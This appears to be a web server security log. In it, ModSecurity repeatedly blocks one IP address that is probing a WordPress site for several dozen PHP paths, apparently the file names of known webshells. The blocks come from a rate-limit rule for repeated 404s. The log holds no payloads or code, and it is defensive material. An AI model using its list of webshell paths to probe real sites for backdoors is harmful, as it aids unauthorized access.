[Thu Dec 11 20:43:50.365016 2025] [:error] [pid 35112:tid 35130] [client 52.230.86.213:52382] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xx.php"] [unique_id "aTq8hp9ZpQ0WIeJhsJdrQgAAAVA"]
[Thu Dec 11 20:43:50.660049 2025] [:error] [pid 58099:tid 58112] [client 52.230.86.213:61196] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xx.php"] [unique_id "aTq8hsKZVSF_bdPFqRgYQwAAAMs"]
[Thu Dec 11 20:43:50.911998 2025] [:error] [pid 58099:tid 58123] [client 52.230.86.213:49766] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xx.php"] [unique_id "aTq8hsKZVSF_bdPFqRgYRAAAANY"]
[Thu Dec 11 20:43:51.148130 2025] [:error] [pid 48261:tid 48276] [client 52.230.86.213:46622] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xx.php"] [unique_id "aTq8h-yPI4WU-4JmiQPA8wAAAYw"]
[Thu Dec 11 20:43:51.374378 2025] [:error] [pid 57991:tid 58036] [client 52.230.86.213:62249] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gifclass4.php"] [unique_id "aTq8h6PyGmNXA2ZsETa3RQAAAE4"]
[Thu Dec 11 20:43:51.555325 2025] [:error] [pid 58099:tid 58102] [client 52.230.86.213:64315] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gifclass4.php"] [unique_id "aTq8h8KZVSF_bdPFqRgYRgAAAME"]
[Thu Dec 11 20:43:51.759888 2025] [:error] [pid 57991:tid 58037] [client 52.230.86.213:49786] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gifclass4.php"] [unique_id "aTq8h6PyGmNXA2ZsETa3RwAAAE8"]
[Thu Dec 11 20:43:51.992938 2025] [:error] [pid 57991:tid 58043] [client 52.230.86.213:49774] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gifclass4.php"] [unique_id "aTq8h6PyGmNXA2ZsETa3SAAAAFU"]
[Thu Dec 11 20:43:52.230411 2025] [:error] [pid 57991:tid 58033] [client 52.230.86.213:62263] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bibil.php"] [unique_id "aTq8iKPyGmNXA2ZsETa3SgAAAEs"]
[Thu Dec 11 20:43:52.457738 2025] [:error] [pid 57991:tid 58030] [client 52.230.86.213:64275] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bibil.php"] [unique_id "aTq8iKPyGmNXA2ZsETa3SwAAAEg"]
[Thu Dec 11 20:43:52.648279 2025] [:error] [pid 27459:tid 27465] [client 52.230.86.213:47088] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bibil.php"] [unique_id "aTq8iFhPEXihPBKMpRNefAAAAQQ"]
[Thu Dec 11 20:43:52.862225 2025] [:error] [pid 48261:tid 48283] [client 52.230.86.213:64313] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bibil.php"] [unique_id "aTq8iOyPI4WU-4JmiQPA9gAAAZM"]
[Thu Dec 11 20:43:53.188635 2025] [:error] [pid 48261:tid 48285] [client 52.230.86.213:61822] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/radio.php"] [unique_id "aTq8ieyPI4WU-4JmiQPA-AAAAZU"]
[Thu Dec 11 20:43:53.448496 2025] [:error] [pid 58814:tid 58836] [client 52.230.86.213:62256] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/radio.php"] [unique_id "aTq8idiz0l9AD_3pkMw0MgAAAdQ"]
[Thu Dec 11 20:43:53.629801 2025] [:error] [pid 48261:tid 48266] [client 52.230.86.213:47057] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/radio.php"] [unique_id "aTq8ieyPI4WU-4JmiQPA-gAAAYI"]
[Thu Dec 11 20:43:53.814956 2025] [:error] [pid 35112:tid 35125] [client 52.230.86.213:47079] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/radio.php"] [unique_id "aTq8iZ9ZpQ0WIeJhsJdrQwAAAUs"]
[Thu Dec 11 20:43:54.006057 2025] [:error] [pid 48261:tid 48288] [client 52.230.86.213:49782] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/files.php"] [unique_id "aTq8iuyPI4WU-4JmiQPA-wAAAZg"]
[Thu Dec 11 20:43:54.207857 2025] [:error] [pid 24483:tid 24505] [client 52.230.86.213:62253] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/files.php"] [unique_id "aTq8ilGHKh2d_uVkopRftgAAAhQ"]
[Thu Dec 11 20:43:54.456021 2025] [:error] [pid 58099:tid 58104] [client 52.230.86.213:64298] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/files.php"] [unique_id "aTq8isKZVSF_bdPFqRgYSwAAAMM"]
[Thu Dec 11 20:43:54.693285 2025] [:error] [pid 35112:tid 35131] [client 52.230.86.213:62245] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/files.php"] [unique_id "aTq8ip9ZpQ0WIeJhsJdrRgAAAVE"]
[Thu Dec 11 20:43:54.871386 2025] [:error] [pid 35112:tid 35138] [client 52.230.86.213:52397] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file7.php"] [unique_id "aTq8ip9ZpQ0WIeJhsJdrRwAAAVg"]
[Thu Dec 11 20:43:55.089264 2025] [:error] [pid 35112:tid 35124] [client 52.230.86.213:47099] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file7.php"] [unique_id "aTq8i59ZpQ0WIeJhsJdrSAAAAUo"]
[Thu Dec 11 20:43:55.295445 2025] [:error] [pid 57991:tid 58025] [client 52.230.86.213:62235] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file7.php"] [unique_id "aTq8i6PyGmNXA2ZsETa3TQAAAEM"]
[Thu Dec 11 20:43:55.475455 2025] [:error] [pid 57991:tid 58046] [client 52.230.86.213:64304] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file7.php"] [unique_id "aTq8i6PyGmNXA2ZsETa3TgAAAFg"]
[Thu Dec 11 20:43:55.727280 2025] [:error] [pid 35112:tid 35133] [client 52.230.86.213:61791] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gifclass.php"] [unique_id "aTq8i59ZpQ0WIeJhsJdrSQAAAVM"]
[Thu Dec 11 20:43:55.984410 2025] [:error] [pid 58099:tid 58110] [client 52.230.86.213:47050] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gifclass.php"] [unique_id "aTq8i8KZVSF_bdPFqRgYTQAAAMk"]
[Thu Dec 11 20:43:56.177286 2025] [:error] [pid 24483:tid 24503] [client 52.230.86.213:46634] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gifclass.php"] [unique_id "aTq8jFGHKh2d_uVkopRfuQAAAhI"]
[Thu Dec 11 20:43:56.395802 2025] [:error] [pid 35112:tid 35119] [client 52.230.86.213:58570] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gifclass.php"] [unique_id "aTq8jJ9ZpQ0WIeJhsJdrTAAAAUU"]
[Thu Dec 11 20:43:56.635722 2025] [:error] [pid 24483:tid 24486] [client 52.230.86.213:52386] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "aTq8jFGHKh2d_uVkopRfvAAAAgE"]
[Thu Dec 11 20:43:56.832999 2025] [:error] [pid 27459:tid 27476] [client 52.230.86.213:61794] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "aTq8jFhPEXihPBKMpRNegAAAAQ8"]
[Thu Dec 11 20:43:57.015378 2025] [:error] [pid 27459:tid 27481] [client 52.230.86.213:62246] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "aTq8jVhPEXihPBKMpRNegQAAARQ"]
[Thu Dec 11 20:43:57.199789 2025] [:error] [pid 24483:tid 24509] [client 52.230.86.213:53667] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "aTq8jVGHKh2d_uVkopRfvgAAAhg"]
[Thu Dec 11 20:43:57.396522 2025] [:error] [pid 27459:tid 27471] [client 52.230.86.213:58564] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nox.php"] [unique_id "aTq8jVhPEXihPBKMpRNeggAAAQo"]
[Thu Dec 11 20:43:57.583824 2025] [:error] [pid 58099:tid 58116] [client 52.230.86.213:64278] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nox.php"] [unique_id "aTq8jcKZVSF_bdPFqRgYTgAAAM8"]
[Thu Dec 11 20:43:57.761990 2025] [:error] [pid 58099:tid 58121] [client 52.230.86.213:49737] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nox.php"] [unique_id "aTq8jcKZVSF_bdPFqRgYTwAAANQ"]
[Thu Dec 11 20:43:57.944411 2025] [:error] [pid 58099:tid 58114] [client 52.230.86.213:64280] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nox.php"] [unique_id "aTq8jcKZVSF_bdPFqRgYUQAAAM0"]
[Thu Dec 11 20:43:58.125365 2025] [:error] [pid 24527:tid 24560] [client 52.230.86.213:62258] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file48.php"] [unique_id "aTq8jl9_glvtS5vXiTUH6QAAAoQ"]
[Thu Dec 11 20:43:58.349672 2025] [:error] [pid 58099:tid 58108] [client 52.230.86.213:64256] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file48.php"] [unique_id "aTq8jsKZVSF_bdPFqRgYUgAAAMc"]
[Thu Dec 11 20:43:58.523535 2025] [:error] [pid 57992:tid 58050] [client 52.230.86.213:62230] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file48.php"] [unique_id "aTq8juUeau0BMFF2vHmyoAAAAIE"]
[Thu Dec 11 20:43:58.708530 2025] [:error] [pid 35112:tid 35135] [client 52.230.86.213:62241] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file48.php"] [unique_id "aTq8jp9ZpQ0WIeJhsJdrUQAAAVU"]
[Thu Dec 11 20:43:58.908018 2025] [:error] [pid 27459:tid 27484] [client 52.230.86.213:52356] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/info.php"] [unique_id "aTq8jlhPEXihPBKMpRNehgAAARc"]
[Thu Dec 11 20:43:59.086920 2025] [:error] [pid 24527:tid 24569] [client 52.230.86.213:64319] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/info.php"] [unique_id "aTq8j19_glvtS5vXiTUH7QAAAo0"]
[Thu Dec 11 20:43:59.262961 2025] [:error] [pid 57992:tid 58069] [client 52.230.86.213:49762] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/info.php"] [unique_id "aTq8j-Ueau0BMFF2vHmyogAAAJQ"]
[Thu Dec 11 20:43:59.438816 2025] [:error] [pid 57991:tid 58035] [client 52.230.86.213:55676] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/info.php"] [unique_id "aTq8j6PyGmNXA2ZsETa3UgAAAE0"]
[Thu Dec 11 20:43:59.649088 2025] [:error] [pid 57992:tid 58053] [client 52.230.86.213:52367] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class9.php"] [unique_id "aTq8j-Ueau0BMFF2vHmypQAAAIQ"]
[Thu Dec 11 20:43:59.906839 2025] [:error] [pid 24483:tid 24497] [client 52.230.86.213:49735] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class9.php"] [unique_id "aTq8j1GHKh2d_uVkopRfwAAAAgw"]
[Thu Dec 11 20:44:00.084492 2025] [:error] [pid 35112:tid 35132] [client 52.230.86.213:62214] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class9.php"] [unique_id "aTq8kJ9ZpQ0WIeJhsJdrUgAAAVI"]
[Thu Dec 11 20:44:00.262900 2025] [:error] [pid 24483:tid 24496] [client 52.230.86.213:64267] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class9.php"] [unique_id "aTq8kFGHKh2d_uVkopRfwQAAAgs"]
[Thu Dec 11 20:44:00.437653 2025] [:error] [pid 57992:tid 58073] [client 52.230.86.213:58613] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/la.php"] [unique_id "aTq8kOUeau0BMFF2vHmyqAAAAJg"]
[Thu Dec 11 20:44:00.615101 2025] [:error] [pid 24483:tid 24508] [client 52.230.86.213:61215] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/la.php"] [unique_id "aTq8kFGHKh2d_uVkopRfwgAAAhc"]
[Thu Dec 11 20:44:00.828168 2025] [:error] [pid 24483:tid 24502] [client 52.230.86.213:52352] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/la.php"] [unique_id "aTq8kFGHKh2d_uVkopRfwwAAAhE"]
[Thu Dec 11 20:44:01.011185 2025] [:error] [pid 58099:tid 58111] [client 52.230.86.213:52358] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/la.php"] [unique_id "aTq8kcKZVSF_bdPFqRgYVAAAAMo"]
[Thu Dec 11 20:44:01.204360 2025] [:error] [pid 58814:tid 58833] [client 52.230.86.213:49760] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless11.php"] [unique_id "aTq8kdiz0l9AD_3pkMw0NgAAAdE"]
[Thu Dec 11 20:44:01.388297 2025] [:error] [pid 58814:tid 58824] [client 52.230.86.213:58560] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless11.php"] [unique_id "aTq8kdiz0l9AD_3pkMw0OAAAAcg"]
[Thu Dec 11 20:44:01.563636 2025] [:error] [pid 35112:tid 35130] [client 52.230.86.213:64290] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless11.php"] [unique_id "aTq8kZ9ZpQ0WIeJhsJdrVQAAAVA"]
[Thu Dec 11 20:44:01.741925 2025] [:error] [pid 58099:tid 58107] [client 52.230.86.213:52378] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless11.php"] [unique_id "aTq8kcKZVSF_bdPFqRgYVgAAAMY"]
